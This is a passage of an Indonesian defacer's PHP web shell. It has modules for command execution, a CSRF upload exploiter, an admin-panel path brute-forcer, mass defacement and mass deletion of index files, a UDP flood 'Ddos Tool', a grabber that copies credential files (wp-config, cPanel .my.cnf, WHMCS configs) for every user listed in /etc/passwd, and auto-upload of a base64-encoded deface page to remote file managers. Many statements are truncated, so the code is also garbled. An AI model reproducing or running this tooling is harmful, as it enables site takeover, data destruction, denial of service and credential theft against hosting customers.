951. <input name="cekV" type="checkbox" onClick="cekKlik();" id="cekV" value="cekV">
952. <input class="isi" disabled="disabled" name="textV" value="other key word" onFocus="this.select()" type="text" id="textV">
953. <br><br>
954. <input type="hidden" name="asal" value="abcd">
955. <input disabled="disabled" type="submit" name="Submit" value=" Start " />
956. </td></tr>
957. </table>
958. </td></tr></table>
959. </form>
960. <?php
961. }
962. ?>
963. <br><br><hr width="300">
964. <?php
965. } elseif($_GET['do'] == 'about') {
966. ?>
968. <embed src="http://www.youtube.com/v/j_y3i3EHR7E&autoplay=1&loop=1&playlist=besNDPvEwQw" type="application/x-shockwave-flash" wmode="transparent" height="1"width="1"></embed>
969. <center><br><br><img src='http://i.imgur.com/3m7leCw.jpg'>
970. <br>Belajar mengalah sampai tak satupun yang dapat mengalahkan.
971. <br> Keep Play With you game and keep Fun :D
972. <br>tidak ada orang bodoh atau orang jago yang ada hanya kata males.
973. <br>Jiwa Seorang defacer tetaplah sama :D
974. <br><font color="white"> 12-20-2016 - Tangerang</font>
975. <br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>
976. <marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
977. <p><b><font size="3" color="#00ff00">=[ Teman-Temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>
978. Uyap
979. Madan Cyber
980. Coretan Rizal
981. Indonesia Fighter Cyber
982. B-Compi<br>Jasakom<br>Mojopahit Fighter Cyber<br>Lappis<br>Mojopahit Cyber Dark<br>Crack Hack Forum<br>dan semua grup hacking<br>yang<br>saya naungi dan singgahi<br><br><br>By<br>Cyber173 a.k.a X'1n73ct<br><br><br>
983. </font></b></p>
984. </center>
985. </marquee>
986. <?php
987. } elseif($_GET['do'] == 'csrf') {
988. ?> <html>
989. <title>CSRF EXPLOITER ONLINE</title>
990. <center><br><br><br><br>
991. <font color=red>*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
992. <center>
993. <form method="post">
994. URL : <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
995. POST File
996. <input type="submit" name="d" value="Lock!">
997. </form>
998. <?php
999. //gak penting
1000. @$url = $_POST['url'];
1001. @$pf = $_POST['pf'];
1002. @$d = $_POST['d'];
1003. if
1004. //baccod
1006. echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Upload Cok!'></form"
1007. }
1008. ?>
1009. </form>
1010. </html>
1011. <?php
1013. } elseif($_GET['do'] == 'admf') {
1014. ?>
1015. <type='text/javascript'/></script>
1016. <style>
1017. </style>
1019. </head>
1020. <link rel="SHORTCUT ICON" href="http://i.imgur.com/2Koa43H.png">
1021. </style>
1022. <br>
1023. <br>
1024. <br>
1025. <td width=100% id=Gretz>
1026. <form action="" method="post">
1027. <center><p class="frontboxtext"><input name="hash_lol" class="textbox" type="text" size="30" value="http://www.target.co.il/"/>
1028. <input name="submit_lol" class="textbox" value="Submit Site" type="submit">
1029. </form>
1030. <?php
1031. set_time_limit
1033. if
1034. $url = $_POST['hash_lol'];
1035. echo "<br />Crot " .
1037. $adminlocales = array("-adminweb/","!adminweb/","@adminweb/","adminweb121/","adminweb90/","adminweb145/","khususadmin/","rahasiaadm/","adminweb123123/","adminweb2222/","adminlanel/","adminlanel.php/","monitor123.php/","masuk.php/","css.php/", "admin1235.php/", "master.php/","1admin/","123admin/","addmin/","home.php","css/","rediect.php/","masuk.php/","index.php/","webpaneladmin123/","registeradm/","register/","member123/","123adminweb/","123paneladminweb/","panelauth1231/","loginadminweb21/","loginadminweb123/","loginadminweb/","webadmin123/","redakturadmin/","paneladminweb/","admloginadm/","4dm1n/","admin12345/","adminweb12/","adminweb111/","adminweb123/","adminweb1/","gangmasuk/","gangadmin/","admredaktur/","adminwebredaktur/","adminredaktur/","adm/", "_adm_/", "_admin_/", "_loginadm_/", "_login_admin_/", "minmin", "loginadmin3/", "masuk/admin", "webmail", "_loginadmin_/", "_login_admin.php_/", "_admin_/", "_administrator_/", "operator/", "sika/", "adminweb/", "develop/", "ketua/", "redaktur/", "author/", "admin/", "administrator/", "adminweb/", "user/", "users/", "dinkesadmin/", "retel/", "author/", "panel/", "paneladmin/", "panellogin/", "redaksi/", "cp-admin/", "login@web/", "admin1/", "admin2/", "admin3/", "admin4/", "admin5/", "admin6/", "admin7", "admin8", "admin9", "admin10", "master/", "master/index.php", "master/login.php", "operator/index.php", "sika/index.php", "develop/index.php", "ketua/index.php","redaktur/index.php", "admin/index.php", "administrator/index.php", "adminweb/index.php", "user/index.php", "users/index.php", "dinkesadmin/index.php", "retel/index.php", "author/index.php", "panel/index.php", "paneladmin/index.php", "panellogin/index.php", "redaksi/index.php", "cp-admin/index.php", "operator/login.php", "sika/login.php", "develop/login.php", "ketua/login.php", "redaktur/login.php", "admin/login.php", "administrator/login.php", "adminweb/login.php", "user/login.php", "users/login.php", "dinkesadmin/login.php", "retel/login.php", "author/login.php", "panel/login.php", "paneladmin/login.php", "panellogin/login.php", "redaksi/login.php", "cp-admin/login.php", "terasadmin/", "terasadmin/index.php", "terasadmin/login.php", "rahasia/", "rahasia/index.php", "rahasia/admin.php", "rahasia/login.php", "dinkesadmin/", "dinkesadmin/login.php", "adminpmb/", "adminpmb/index.php", "adminpmb/login.php", "system/", "system/index.php", "system/login.php", "webadmin/", "webadmin/index.php", "webadmin/login.php", "wpanel/", "wpanel/index.php", "wpanel/login.php", "adminpanel/index.php", "adminpanel/", "adminpanel/login.php", "adminkec/", "adminkec/index.php", "adminkec/login.php", "admindesa/", "admindesa/index.php", "admindesa/login.php", "adminkota/", "adminkota/index.php", "adminkota/login.php", "admin123/", "admin123/index.php", "dologin/", "home.asp/","supervise/amdin", "relogin/adm", "checkuser", "relogin.php", "relogin.asp", "wp-admin", "registration", "suvervise", "superman.php", "member.php","home/admin","po-admin/","do_login.php", "bo-login", "bo_login.php/", "index.php/admin", "admiiin.php", "masuk/adm","website_login/", "dashboard/admin", "dashboard.php", "dashboard_adm", "admin123/login.php", "logout1/", "logout/","pengelola/login", "manageradm/", "logout.asp", "manager/adm", "pengelola/web","auth/panel", "logout/index.php", "logout/login.php", "controladm/", "logout/admin.php", "adminweb_setting", "adm/index.asp", "adm.asp", "affiliate.asp", "adm_auth.asp", "memberadmin.asp", "siteadmin/login.asp", "siteadmin/login", "paneldecontrol", "cms/admin", "administracion.php", "/ADMON/", "administrador/", "panelc/", "admincp", "admcp", "cp", "modcp", "moderatorcp", "adminare", "cpanel", "controlpanel");
1039. foreach
1040. $headers = get_headers("$url$admin");
1041. if
1042. echo "<a href='$url/$admin'>$url$admin</a> Nemu nih!<br />"
1043. }
1044. else
1045. echo "$url$admin Gk ketemu!<br />"
1046. }
1047. }
1048. }
1049. } elseif($_GET['do'] == 'cmd') {
1050. echo
1051. <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
1052. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
1053. </form>";
1054. if
1055. echo "<pre>" .exe
1056. }
1057. } elseif($_GET['do'] == 'mass_deface') {
1058. function sabun_massal
1059. if
1060. $dira = scandir($dir);
1061. foreach
1062. $dirc = "$dir/$dirb";
1063. $lokasi = $dirc.'/'.$namafile;
1064. if
1065. file_put_contents
1066. } elseif($dirb === '..') {
1067. file_put_contents
1068. } else {
1069. if
1070. if
1071. echo "[<font color=lime>DONE</font>] $lokasi<br>"
1072. file_put_contents
1073. $idx = sabun_massal($dirc,$namafile,$isi_script);
1074. }
1075. }
1076. }
1077. }
1078. }
1079. }
1080. function sabun_biasa
1081. if
1082. $dira = scandir($dir);
1083. foreach
1084. $dirc = "$dir/$dirb";
1085. $lokasi = $dirc.'/'.$namafile;
1086. if
1087. file_put_contents
1088. } elseif($dirb === '..') {
1089. file_put_contents
1090. } else {
1091. if
1092. if
1093. echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>"
1094. file_put_contents
1095. }
1096. }
1097. }
1098. }
1099. }
1100. }
1101. if
1102. if
1103. echo "<div style='margin: 5px auto; padding: 5px'>"
1104. sabun_massal
1105. echo "</div>"
1106. } elseif($_POST['tipe_sabun'] == 'murah') {
1107. echo "<div style='margin: 5px auto; padding: 5px'>"
1108. sabun_biasa
1109. echo "</div>"
1110. }
1111. } else {
1112. echo "<center>"
1113. echo
1114. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
1115. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
1116. <font style='text-decoration: underline;'>Folder:</font><br>
1117. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
1118. <font style='text-decoration: underline;'>Filename:</font><br>
1119. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
1120. <font style='text-decoration: underline;'>Index File:</font><br>
1121. <textarea name='script' style='width: 450px; height: 200px;'>Hacked by Global Network</textarea><br>
1122. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
1123. </form></center>";
1124. }
1125. } elseif($_GET['do'] == 'ddos') {
1126. ?>
1127. <html>
1128. <form action=" " method="post">
1129. <center><br><br><br>
1130. Your IP
1131. <table class="tabnet" style="width:333px;padding:0 1px;">
1132. <th colspan="5">Ddos Tool</th>
1133. <tr><tr><td>IP Target</td><td>:</td>
1134. <td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
1135. </td></tr>
1136. <tr><td>Time</td><td>:</td>
1137. <td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
1138. </td></tr>
1140. <tr><td>Port</td><td>:</td>
1141. <td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
1142. </td></tr></tr></table></b><br>
1143. <input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
1144. <br><br>
1145. <center>
1146. <font color="white">Seteleh selesai menggunakan tools ini segera refresh browsingmu
1147. </center>
1148. </form>
1149. </center>
1150. <?php
1151. @$submit = $_POST['fire'];
1152. if
1153. $packets = 0;
1154. $ip = $_POST['ip'];
1155. $rand = $_POST['port'];
1156. set_time_limit
1157. ignore_user_abort
1158. $exec_time = $_POST['time'];
1159. $time = time();
1160. print "Flooded: $ip on port $rand <br><br>"
1161. $max_time = $time + $exec_time;
1162. for
1163. $out.= "X";
1164. }
1165. while
1166. $packets++;
1167. if
1168. break
1169. }
1170. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
1171. if
1172. fwrite
1173. fclose
1174. }
1175. }
1176. echo "Packet complete at " .
1177. ";
1178. }
1179. } elseif($_GET['do'] == 'mass_delete') {
1180. function hapus_massal
1181. if
1182. $dira = scandir($dir);
1183. foreach
1184. $dirc = "$dir/$dirb";
1185. $lokasi = $dirc.'/'.$namafile;
1186. if
1187. if
1188. unlink
1189. }
1190. } elseif($dirb === '..') {
1191. if
1192. unlink
1193. }
1194. } else {
1195. if
1196. if
1197. if
1198. echo "[<font color=lime>DELETED</font>] $lokasi<br>"
1199. unlink
1200. $idx = hapus_massal($dirc,$namafile);
1201. }
1202. }
1203. }
1204. }
1205. }
1206. }
1207. }
1208. if
1209. echo "<div style='margin: 5px auto; padding: 5px'>"
1210. hapus_massal
1211. echo "</div>"
1212. } else {
1213. echo "<center>"
1214. echo
1215. <font style='text-decoration: underline;'>Folder:</font><br>
1216. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
1217. <font style='text-decoration: underline;'>Filename:</font><br>
1218. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
1219. <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
1220. </form></center>";
1221. }
1222. } elseif($_GET['do'] == 'config') {
1223. $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
1224. $idx = mkdir("idx_config", 0777);
1225. $isi_htc = "Options all Require None Satisfy Any";
1226. $htc = fopen("idx_config/.htaccess","w");
1227. fwrite
1228. while
1229. if
1230. echo "<font color=red>Can't read /etc/passwd</font>"
1231. } else {
1232. preg_match_all
1233. foreach
1234. $user_config_dir = "/home/$user_idx/public_html/";
1235. if
1236. $grab_config = array(
1237. "/home/$user_idx/.my.cnf" => "cpanel",
1238. "/home/$user_idx/.accesshash" => "WHM-accesshash",
1239. "/home/$user_idx/public_html/po-content/config.php" => "Popoji",
1240. "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
1241. "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
1242. "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
1243. "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1244. "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
1245. "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
1246. "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
1247. "/home/$user_idx/public_html/forum/config.php" => "phpBB",
1248. "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
1249. "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
1250. "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
1251. "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
1252. "/home/$user_idx/public_html/configuration.php" => "Joomla",
1253. "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
1254. "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
1255. "/home/$user_idx/public_html/wp-config.php" => "WordPress",
1256. "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
1257. "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
1258. "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
1259. foreach
1260. $ambil_config = file_get_contents($config);
1261. if
1262. } else {
1263. $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
1264. fputs
1265. }
1266. }
1267. }
1268. }
1269. }
1270. }
1271. echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>"
1272. } elseif($_GET['do'] == 'jumping') {
1273. $i = 0;
1274. echo "<div class='margin: 5px auto;'>"
1275. if
1276. $urls = explode(" ", $_POST['url']);
1277. if
1278. echo "<pre>"
1279. foreach
1280. $url = str_replace(array("http://","www."), "", strtolower($url));
1281. $etc = "/etc/passwd";
1282. $f = fopen($etc,"r");
1283. while
1284. $pecah = explode(":", $gets);
1285. $user = $pecah[0];
1286. $dir_user = "/hsphere/local/home/$user";
1287. if
1288. $url_user = $dir_user."/".$url;
1289. if
1290. $i++;
1291. $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
1292. if
1293. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
1294. }
1295. echo
1296. }
1297. }
1298. }
1299. }
1300. if
1301. } else {
1302. echo "<br>Total ada " .
1303. }
1304. echo "</pre>"
1305. } else {
1306. echo
1307. <form method="post">
1308. List Domains
1309. <textarea name="url" style="width: 500px; height: 250px;">';
1310. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
1311. while
1312. echo
1313. }
1314. echo
1315. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
1316. </form></center>';
1317. }
1318. } elseif(preg_match("/vhosts/", $dir)) {
1319. $urls = explode(" ", $_POST['url']);
1320. if
1321. echo "<pre>"
1322. foreach
1323. $web_vh = "/var/www/vhosts/$url/httpdocs";
1324. if
1325. if
1326. $i++;
1327. $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
1328. if
1329. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
1330. }
1331. echo
1332. }
1333. }
1334. }
1335. if
1336. } else {
1337. echo "<br>Total ada " .
1338. }
1339. echo "</pre>"
1340. } else {
1341. echo
1342. <form method="post">
1343. List Domains
1344. <textarea name="url" style="width: 500px; height: 250px;">';
1345. bing
1346. echo
1347. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
1348. </form></center>';
1349. }
1350. } else {
1351. echo "<pre>"
1352. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
1353. while
1354. if
1355. echo "<font color=red>Can't read /etc/passwd</font>"
1356. } else {
1357. preg_match_all
1358. foreach
1359. $user_jumping_dir = "/home/$user_idx_jump/public_html";
1360. if
1361. $i++;
1362. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
1363. if
1364. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
1365. }
1366. echo
1367. if
1368. $domain_jump = file_get_contents("/etc/named.conf");
1369. if
1370. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"
1371. } else {
1372. preg_match_all
1373. foreach
1374. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
1375. $user_jumping_url = $user_jumping_url['name'];
1376. if
1377. echo " => ( <u>$dj</u> )<br>"
1378. break
1379. }
1380. }
1381. }
1382. } else {
1383. echo "<br>"
1384. }
1385. }
1386. }
1387. }
1388. }
1389. if
1390. } else {
1391. echo "<br>Total ada " .
1392. }
1393. echo "</pre>"
1394. }
1395. echo "</div>"
1396. } elseif($_GET['do'] == 'autoklik') {
1397. ?>
1398. <form method="post">
1399. <input type="submit" name="x" value="index.php">
1400. </form>
1401. <?php
1402. $target = explode(" ", $_POST['target']);
1403. if
1404. foreach
1405. $global = "index.php";
1406. $isi_nama_doang = "PGVtYmVkDQpzcmM9Imh0dHA6Ly93d3cueW91dHViZS5jb20vdi9qX3kzaTNFSFI3RSZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1iZXNORFB2RXdRdyINCnR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3bW9kZT0idHJhbnNwYXJlbnQiIGhlaWdodD0iMSINCndpZHRoPSIxIj48L2VtYmVkPiANCjxib2R5IGJnY29sb3I9J2JsYWNrJz4NCgk8Zm9udCBjb2xvcj0icmVkIj4JDQoJPGNlbnRlcj48YnI+PGJyPjxpbWcgc3JjPSdodHRwOi8vaS5pbWd1ci5jb20vM203bGVDdy5qcGcnPg0KCTxicj5CZWxhamFyIG1lbmdhbGFoIHNhbXBhaSB0YWsgc2F0dXB1biB5YW5nIGRhcGF0IG1lbmdhbGFoa2FuLg0KCTxicj4gS2VlcCBQbGF5IFdpdGggeW91IGdhbWUgYW5kIGtlZXAgRnVuIDpEDQoJPGJyPnRpZGFrIGFkYSBvcmFuZyBib2RvaCBhdGF1IG9yYW5nIGphZ28geWFuZyBhZGEgaGFueWEga2F0YSBtYWxlcy4NCgk8YnI+Sml3YSBTZW9yYW5nIGRlZmFjZXIgdGV0YXBsYWggc2FtYSA6RCA8L2ZvbnQ+DQoJPGJyPjxicj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwZmYwMCI+VGFua3MgdG86PC9mb250PjwvY2VudGVyPjxjZW50ZXI+DQo8bWFycXVlZSBkaXJlY3Rpb249InVwIiBzY3JvbGxhbW91bnQ9IjIiIGJnY29sb3I9IiIgd2lkdGg9IjI1MCIgaGVpZ2h0PSI0MCI+PGNlbnRlcj4NCjxwPjxiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDBmZjAwIj49WyBUZW1hbi1UZW1hbmt1IF09PGJyPjxicj5HYWJieTxicj5BbnRvbmlvIEhTSDxicj5SMTA8YnI+dzRyMHg8YnI+ZWRlbGxlMDA3PGJyPkJyaWFuIGthbWlrYXplPGJyPkNsb3ZlciBMZXBleDxicj4NClV5YXA8YnI+WmluYmFkPGJyPkZIMDRaQTxicj5TYW5pIG1hcnBpYzxicj4NCk1hZGFuIEN5YmVyPGJyPkNhaCBCYWd1czxicj5SUEc8YnI+VmFsbGVudDxicj5QNG5qaWVfYS5rLmE8YnI+RHdpIFN5bnRpYTxicj7GcnVsIFJpbmdnbydzPGJyPlRpJ2FyIFZhcmlhYmVsPGJyPkltZWk3PGJyPkhtZWk3PGJyPkRlIFZpbmNsb3VzPGJyPkJsYW5rb24zMzxicj5Eb3phIENyYWNrZXI8YnI+WWluZyBDcmFja2VyPGJyPklyYW5pYW4gSGFja2VyPGJyPkRhbmdlciBIYWNrZXI8YnI+QWRtaW4wNzxicj5aaG91IHlvdTxicj5Lc2F0cmlhLnVzPGJyPkN5YmVyIEluajNjdGkwbjxicj5LMmxsMzNkPGJyPlN1bHRhbiBIYWlrYWw8YnI+U3ludGF4X0Vycm9yPGJyPkFxaXM8YnI+QmxhY2sgU2hhZG93PGJyPmNyYWNrOTk5PGJyPkZuYXRpYyBDcmV3PGJyPg0KQ29yZXRhbiBSaXphbDxicj5NYWxhaWthdCBNYXV0PGJyPkRhbiB0ZW1hbi10ZW1hbiBrdSBzZW11YTxicj48YnI+PVsgZ3J1cCBoYWNraW5nIF09PGJyPjxicj5CbGFjayBOZXdiaWUgVGVhbTxicj4zeHBpcmUgQ3liZXIgQXJteTxicj5IYWNrIEZvcnVtPGJyPg0KSW5kb25lc2lhIEZpZ2h0ZXIgQ3liZXI8YnI+QmlhbmcgS2Vyb3ggVGVhbTxicj5Bbm9ueW1vdXM8YnI+R2F6YSBIYWNrZXI8YnI+QWxiYW5pYW4gSGFja2VyPGJyPkRldmlseiBjMGRlPGJyPk11c2xpbXMgQ3liZXIgU2hlbGx6PGJyPlgtQ29kZTxicj5JbmRvWHBsb2l0PGJyPkluZG9uZXNpYW4gU2VjdXJpdHk8YnI+SW5kb25lc2lhIEJsYWNrIEN5YmVyPGJyPg0KQi1Db21waTxicj5KYXNha29tPGJyPk1vam9wYWhpdCBGaWdodGVyIEN5YmVyPGJyPkxhcHBpczxicj5Nb2pvcGFoaXQgQ3liZXIgRGFyazxicj5DcmFjayBIYWNrIEZvcnVtPGJyPmRhbiBzZW11YSBncnVwIGhhY2tpbmc8YnI+eWFuZzxicj5zYXlhIG5hdW5naSBkYW4gc2luZ2dhaGk8YnI+PGJyPjxicj5CeTxicj5Kb25hdGhhbiBNaWxlczxicj48YnI+PGJyPg0KPC9mb250PjwvYj48L3A+DQo8L2NlbnRlcj4NCjwvbWFycXVlZT4=";
1407. $decode_isi = base64_decode($isi_nama_doang);
1408. $encode = base64_encode($global);
1409. $ss = fopen($global,"w");
1410. fputs
1411. echo "[+] <a href='$korban' target='_blank'>$korban</a> <br>"
1412. echo "Done index.php<br>"
1413. $url_mkfile = "$korban?cmd=mkfile&name=$global&target=l1_Lw";
1414. $post1 = array(
1415. "target" => "l1_$encode",
1416. "content" => "$decode_isi",);
1417. $post2 = array( "upload[]" => "@$global",);
1418. $output_mkfile = ngirim("$korban", $post1);
1419. $upload_ah = ngirim("$korban?cmd=upload", $post2);
1420. }
1421. }
1422. ?>
1423. <form method="post">
1424. <input type="submit" name="s" value="lol.php">
1425. </form>
1426. <?php
1427. $targets = explode(" ", $_POST['targets']);
1428. if
1429. foreach
1430. $globa = "lol.php";
1431. $isi_nama = "PGVtYmVkDQpzcmM9Imh0dHA6Ly93d3cueW91dHViZS5jb20vdi9qX3kzaTNFSFI3RSZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1iZXNORFB2RXdRdyINCnR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3bW9kZT0idHJhbnNwYXJlbnQiIGhlaWdodD0iMSINCndpZHRoPSIxIj48L2VtYmVkPiANCjxib2R5IGJnY29sb3I9J2JsYWNrJz4NCgk8Zm9udCBjb2xvcj0icmVkIj4JDQoJPGNlbnRlcj48YnI+PGJyPjxpbWcgc3JjPSdodHRwOi8vaS5pbWd1ci5jb20vM203bGVDdy5qcGcnPg0KCTxicj5CZWxhamFyIG1lbmdhbGFoIHNhbXBhaSB0YWsgc2F0dXB1biB5YW5nIGRhcGF0IG1lbmdhbGFoa2FuLg0KCTxicj4gS2VlcCBQbGF5IFdpdGggeW91IGdhbWUgYW5kIGtlZXAgRnVuIDpEDQoJPGJyPnRpZGFrIGFkYSBvcmFuZyBib2RvaCBhdGF1IG9yYW5nIGphZ28geWFuZyBhZGEgaGFueWEga2F0YSBtYWxlcy4NCgk8YnI+Sml3YSBTZW9yYW5nIGRlZmFjZXIgdGV0YXBsYWggc2FtYSA6RCA8L2ZvbnQ+DQoJPGJyPjxicj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwZmYwMCI+VGFua3MgdG86PC9mb250PjwvY2VudGVyPjxjZW50ZXI+DQo8bWFycXVlZSBkaXJlY3Rpb249InVwIiBzY3JvbGxhbW91bnQ9IjIiIGJnY29sb3I9IiIgd2lkdGg9IjI1MCIgaGVpZ2h0PSI0MCI+PGNlbnRlcj4NCjxwPjxiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDBmZjAwIj49WyBUZW1hbi1UZW1hbmt1IF09PGJyPjxicj5HYWJieTxicj5BbnRvbmlvIEhTSDxicj5SMTA8YnI+dzRyMHg8YnI+ZWRlbGxlMDA3PGJyPkJyaWFuIGthbWlrYXplPGJyPkNsb3ZlciBMZXBleDxicj4NClV5YXA8YnI+WmluYmFkPGJyPkZIMDRaQTxicj5TYW5pIG1hcnBpYzxicj4NCk1hZGFuIEN5YmVyPGJyPkNhaCBCYWd1czxicj5SUEc8YnI+VmFsbGVudDxicj5QNG5qaWVfYS5rLmE8YnI+RHdpIFN5bnRpYTxicj7GcnVsIFJpbmdnbydzPGJyPlRpJ2FyIFZhcmlhYmVsPGJyPkltZWk3PGJyPkhtZWk3PGJyPkRlIFZpbmNsb3VzPGJyPkJsYW5rb24zMzxicj5Eb3phIENyYWNrZXI8YnI+WWluZyBDcmFja2VyPGJyPklyYW5pYW4gSGFja2VyPGJyPkRhbmdlciBIYWNrZXI8YnI+QWRtaW4wNzxicj5aaG91IHlvdTxicj5Lc2F0cmlhLnVzPGJyPkN5YmVyIEluajNjdGkwbjxicj5LMmxsMzNkPGJyPlN1bHRhbiBIYWlrYWw8YnI+U3ludGF4X0Vycm9yPGJyPkFxaXM8YnI+QmxhY2sgU2hhZG93PGJyPmNyYWNrOTk5PGJyPkZuYXRpYyBDcmV3PGJyPg0KQ29yZXRhbiBSaXphbDxicj5NYWxhaWthdCBNYXV0PGJyPkRhbiB0ZW1hbi10ZW1hbiBrdSBzZW11YTxicj48YnI+PVsgZ3J1cCBoYWNraW5nIF09PGJyPjxicj5CbGFjayBOZXdiaWUgVGVhbTxicj4zeHBpcmUgQ3liZXIgQXJteTxicj5IYWNrIEZvcnVtPGJyPg0KSW5kb25lc2lhIEZpZ2h0ZXIgQ3liZXI8YnI+QmlhbmcgS2Vyb3ggVGVhbTxicj5Bbm9ueW1vdXM8YnI+R2F6YSBIYWNrZXI8YnI+QWxiYW5pYW4gSGFja2VyPGJyPkRldmlseiBjMGRlPGJyPk11c2xpbXMgQ3liZXIgU2hlbGx6PGJyPlgtQ29kZTxicj5JbmRvWHBsb2l0PGJyPkluZG9uZXNpYW4gU2VjdXJpdHk8YnI+SW5kb25lc2lhIEJsYWNrIEN5YmVyPGJyPg0KQi1Db21waTxicj5KYXNha29tPGJyPk1vam9wYWhpdCBGaWdodGVyIEN5YmVyPGJyPkxhcHBpczxicj5Nb2pvcGFoaXQgQ3liZXIgRGFyazxicj5DcmFjayBIYWNrIEZvcnVtPGJyPmRhbiBzZW11YSBncnVwIGhhY2tpbmc8YnI+eWFuZzxicj5zYXlhIG5hdW5naSBkYW4gc2luZ2dhaGk8YnI+PGJyPjxicj5CeTxicj5Kb25hdGhhbiBNaWxlczxicj48YnI+PGJyPg0KPC9mb250PjwvYj48L3A+DQo8L2NlbnRlcj4NCjwvbWFycXVlZT4=";
1432. $decode_isi = base64_decode($isi_nama);
1433. $encode = base64_encode($globa);
1434. $ss = fopen($globa,"w");
1435. fputs
1436. echo "[+] <a href='$korban' targets='_blank'>$korba</a> <br>"
1437. echo "Done lol.php<br>"
1438. $url_mkfil = "$korba?cmd=mkfile&name=$globa&targets=l1_Lw";
1439. $post1 = array(
1440. "targets" => "l1_$encode",
1441. "content" => "$decode_isi",);
1442. $post2 = array( "upload[]" => "@$globa",);
1443. $output_mkfil = ngirim("$korban", $post1);
1444. $upload_as = ngirim("$korban?cmd=upload", $post2);
1445. }
1446. }
1448. } elseif($_GET['do'] == 'tool') {
1449. error_reporting
1450. function ss
